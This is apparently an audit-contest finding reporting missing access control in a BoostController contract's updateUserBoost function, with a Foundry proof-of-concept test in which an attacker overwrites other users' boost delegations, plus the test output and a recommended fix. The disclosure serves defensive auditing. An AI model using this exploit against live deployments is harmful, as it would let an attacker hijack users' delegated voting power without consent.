Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Lack of Access Control in BoostController::updateUserBoost Leading to Unauthorized Delegation Overwrite.

Summary

In the BoostController contract, the updateUserBoost() function is vulnerable due to the absence of access control, allowing unauthorized delegation overwrite. Malicious actors can exploit this by calling updateUserBoost() with any delegator's address and any pool's address, bypassing the intended flow of delegateBoost(). This allows attackers to overwrite existing delegations without the delegator's consent, leading to a Denial of Service (DoS) where users cannot delegate to their desired pools. The intended behavior should be:

  • Users delegate their boost to a pool using delegateBoost().

  • Only permissioned entities, such as the delegatee pool or authorized roles, should be able to call updateUserBoost().

Vulnerability Details

Lack of Access Control in updateUserBoost()

The updateUserBoost() function currently allows any address to call it with arbitrary user and pool addresses, leading to unauthorized delegation manipulation. The relevant code is as follows:

function updateUserBoost(address user, address pool) public {
uint256 newBoost = _calculateBoost(user, pool);
uint256 oldBoost = userBoost[pool][user];
if (newBoost >= oldBoost) {
poolBoost.totalBoost += (newBoost - oldBoost);
} else {
poolBoost.totalBoost -= (oldBoost - newBoost);
}
//...
//...
//...
//...
}

This implementation lacks any role-based access control or authorization checks, allowing anyone to:

  • Call updateUserBoost() with another user's address as the user parameter.

  • Specify any pool address, effectively overwriting the delegation.

Code Analysis

The vulnerability arises due to the absence of checks, such as:

  • Verifying if the caller is the user or an authorized entity (e.g., the delegatee pool or an admin role).

  • Ensuring the action follows a valid delegation flow initiated by delegateBoost().

Proof of Concept

Scenario

  1. Bob delegates her boost to Pool A using delegateBoost(), which records her choice internally.

  2. A malicious actor, Mallory, notices the lack of access control in updateUserBoost().

  3. Mallory calls updateUserBoost(Bob, PoolB) without Bob's consent.

  4. The function updates Bob's boost to be delegated to Pool B, effectively overwriting her original choice.

  5. Bob is now unknowingly delegating her boost to Pool B, leading to a DoS as she cannot delegate to her intended pool.

Code (PoC)

To demonstrate this vulnerability, the following Proof of Concept (PoC) is provided. The PoC is written using the Foundry tool.

  1. Step 1: Create a Foundry project and place all the contracts in the src directory.

  2. Step 2: Create a test directory and a mocks folder within the src directory (or use an existing mocks folder).

  3. Step 3: Create all necessary mock contracts, if required.

  4. Step 4: Create a test file (with any name) in the test directory.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {veRAACToken} from "../src/core/tokens/veRAACToken.sol";
import {RAACToken} from "../src/core/tokens/RAACToken.sol";
import {TimelockController} from "../src/core/governance/proposals/TimelockController.sol";
import {Governance} from "../src/core/governance/proposals/Governance.sol";
import {BoostController} from "../src/core/governance/boost/BoostController.sol";
import {TimeWeightedAverage} from "../src/libraries/math/TimeWeightedAverage.sol";
import {LockManager} from "../src/libraries/governance/LockManager.sol";
import {IveRAACToken} from "../src/interfaces/core/tokens/IveRAACToken.sol";
import {IGovernance} from "../src/interfaces/core/governance/proposals/IGovernance.sol";
contract GovernanceTest is Test {
veRAACToken veRaacToken;
RAACToken raacToken;
TimelockController timelockController;
Governance governance;
BoostController boostController;
address RAAC_OWNER = makeAddr("RAAC_OWNER");
address RAAC_MINTER = makeAddr("RAAC_MINTER");
uint256 initialRaacSwapTaxRateInBps = 200; // 2%, 10000 - 100%
uint256 initialRaacBurnTaxRateInBps = 150; // 1.5%, 10000 - 100%
address VE_RAAC_OWNER = makeAddr("VE_RAAC_OWNER");
address ALICE = makeAddr("ALICE");
address BOB = makeAddr("BOB");
address CHARLIE = makeAddr("CHARLIE");
address DEVIL = makeAddr("DEVIL");
address BIG_E = makeAddr("BIG_E");
address XAVIER_WOODS = makeAddr("XAVIER_WOODS");
address KOFI_KINGSTON = makeAddr("KOFI_KINGSTON");
address PROPOSER_1 = makeAddr("PROPOSER_1");
address PROPOSER_2 = makeAddr("PROPOSER_2");
address PROPOSER_3 = makeAddr("PROPOSER_3");
address PROPOSER_4 = makeAddr("PROPOSER_4");
address PROPOSER_5 = makeAddr("PROPOSER_5");
address EXECUTOR_1 = makeAddr("EXECUTOR_1");
address EXECUTOR_2 = makeAddr("EXECUTOR_2");
address EXECUTOR_3 = makeAddr("EXECUTOR_3");
address EXECUTOR_4 = makeAddr("EXECUTOR_4");
address EXECUTOR_5 = makeAddr("EXECUTOR_5");
address TIMELOCK_OWNER = makeAddr("TIMELOCK_OWNER");
address GOVERNANCE_OWNER = makeAddr("GOVERNANCE_OWNER");
address BOOST_CONTROLLER_OWNER = makeAddr("BOOST_CONTROLLER_OWNER");
uint256 timelockControllerMinDelay = 2 days;
address[] private proposers;
address[] private executors;
address admin;
address[] private proposalTargets;
uint256[] private proposalValues;
bytes[] private proposalCalldatas;
string private proposalDescription;
IGovernance.ProposalType proposalProposalType;
function setUp() public {
raacToken = new RAACToken(RAAC_OWNER, initialRaacSwapTaxRateInBps, initialRaacBurnTaxRateInBps);
vm.startPrank(VE_RAAC_OWNER);
veRaacToken = new veRAACToken(address(raacToken));
vm.stopPrank();
vm.startPrank(BOOST_CONTROLLER_OWNER);
boostController = new BoostController(address(veRaacToken));
vm.stopPrank();
proposers.push(PROPOSER_1);
proposers.push(PROPOSER_2);
proposers.push(PROPOSER_3);
proposers.push(PROPOSER_4);
proposers.push(PROPOSER_5);
executors.push(EXECUTOR_1);
executors.push(EXECUTOR_2);
executors.push(EXECUTOR_3);
executors.push(EXECUTOR_4);
executors.push(EXECUTOR_5);
vm.startPrank(TIMELOCK_OWNER);
TimelockController tempTimelockController =
new TimelockController(timelockControllerMinDelay, proposers, executors, TIMELOCK_OWNER);
timelockController = new TimelockController(timelockControllerMinDelay, proposers, executors, TIMELOCK_OWNER);
vm.stopPrank();
vm.startPrank(GOVERNANCE_OWNER);
governance = new Governance(address(veRaacToken), address(tempTimelockController));
governance.setTimelock(address(timelockController));
vm.stopPrank();
proposalTargets.push(address(tempTimelockController));
proposalValues.push(0);
proposalCalldatas.push(abi.encodeWithSignature("setValue(uint256)", 42));
proposalDescription = "Proposal String";
proposalProposalType = IGovernance.ProposalType.ParameterChange;
vm.startPrank(TIMELOCK_OWNER);
timelockController.grantRole(timelockController.PROPOSER_ROLE(), address(governance));
timelockController.grantRole(timelockController.EXECUTOR_ROLE(), address(governance));
timelockController.grantRole(timelockController.CANCELLER_ROLE(), address(governance));
vm.stopPrank();
getveRaacTokenForProposer();
}
function getveRaacTokenForProposer() private {
uint256 LOCK_AMOUNT = 1_000_000e18;
uint256 LOCK_DURATION = 365 days;
vm.startPrank(RAAC_OWNER);
raacToken.setMinter(RAAC_MINTER);
vm.stopPrank();
vm.startPrank(RAAC_MINTER);
raacToken.mint(PROPOSER_1, LOCK_AMOUNT);
raacToken.mint(PROPOSER_2, LOCK_AMOUNT);
raacToken.mint(PROPOSER_3, LOCK_AMOUNT);
raacToken.mint(PROPOSER_4, LOCK_AMOUNT);
raacToken.mint(PROPOSER_5, LOCK_AMOUNT);
raacToken.mint(ALICE, LOCK_AMOUNT);
raacToken.mint(BOB, LOCK_AMOUNT);
raacToken.mint(CHARLIE, LOCK_AMOUNT);
raacToken.mint(DEVIL, LOCK_AMOUNT);
raacToken.mint(BIG_E, 1_000_000e18);
raacToken.mint(XAVIER_WOODS, 1_000_000e18);
raacToken.mint(KOFI_KINGSTON, 1_000_000e18);
vm.stopPrank();
vm.startPrank(PROPOSER_1);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_2);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_3);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_4);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_5);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(ALICE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(BOB);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(CHARLIE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(DEVIL);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(BIG_E);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(XAVIER_WOODS);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(KOFI_KINGSTON);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
}
}
  1. Step 5: Add the following test PoC in the test file, after the setUp function.

function testUsersOrDelegatorsFaceDoSOnDelegation() public {
// warping to ~six months, veToken voting power might decayed half
vm.warp(block.timestamp + 365 days / 2);
address poolAddress = makeAddr("DUMMY_POOL");
address secondPoolAddress = makeAddr("DUMMARY_POOL_A");
vm.startPrank(BOOST_CONTROLLER_OWNER);
boostController.modifySupportedPool(poolAddress, true);
boostController.modifySupportedPool(secondPoolAddress, true);
vm.stopPrank();
// first use case
// a malicious actor or attacker DEVIL, Identifies the bug and
// delegated ALICE's Boost to his desired delegatee (Pool)
// DEVIL just called updateUserBoost function heck happened automatically due to the bug.
vm.startPrank(DEVIL);
// as updateUserBoost hasn't any access control
boostController.updateUserBoost(ALICE, poolAddress);
vm.stopPrank();
// Upto this point ALICE has no idea that someone already delegated her boost to some delegatee (pool)
vm.startPrank(ALICE);
vm.expectRevert(bytes4(keccak256("BoostAlreadyDelegated()")));
boostController.delegateBoost(poolAddress, 10_000, 7 days);
vm.stopPrank();
// second use case
// Bob delegates his boost to second pool
vm.startPrank(BOB);
boostController.delegateBoost(secondPoolAddress, 10_000, 7 days);
vm.stopPrank();
// devil redelegates bob's boost to second pool
// Even without notifying bob
vm.startPrank(DEVIL);
boostController.updateUserBoost(BOB, secondPoolAddress);
vm.stopPrank();
}
  1. Step 6: To run the test, execute the following commands in your terminal:

forge test --mt testUsersOrDelegatorsFaceDoSOnDelegation -vv
  1. Step 7: Review the output.

[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/GovernanceTest.t.sol:GovernanceTest
[PASS] testUsersOrDelegatorsFaceDoSOnDelegation() (gas: 411703)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.99ms (431.00µs CPU time)
Ran 1 test suite in 10.54ms (6.99ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As demonstrated, This confirmed the overwrite vulnerability, as no checks were in place to prevent unauthorized delegation changes.

Impact

  • Denial of Service (DoS) for users unable to delegate their boost to the intended pools.

  • Unauthorized delegation manipulation, leading to governance or reward distribution issues.

  • Potential for financial instability due to altered boost calculations.

Tools Used

  • Manual Review

  • Foundry

Recommendations

Implement Access Control

Add role-based access control or authorization checks to ensure only permitted entities can update user boosts:

require(msg.sender == user || hasRole(AUTHORIZED_ROLE, msg.sender), "Unauthorized");

This change ensures that only the delegator or an authorized role can modify the boost, preserving the integrity of the delegation flow.

Restrict updateUserBoost() to Delegatees

Limit updateUserBoost() calls to delegatee pools that have received a valid delegation from the user via delegateBoost().

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::updateUserBoost lacks caller validation, allowing anyone to force delegation of any user's boost to any pool without consent, hijacking voting power

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::updateUserBoost lacks caller validation, allowing anyone to force delegation of any user's boost to any pool without consent, hijacking voting power

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.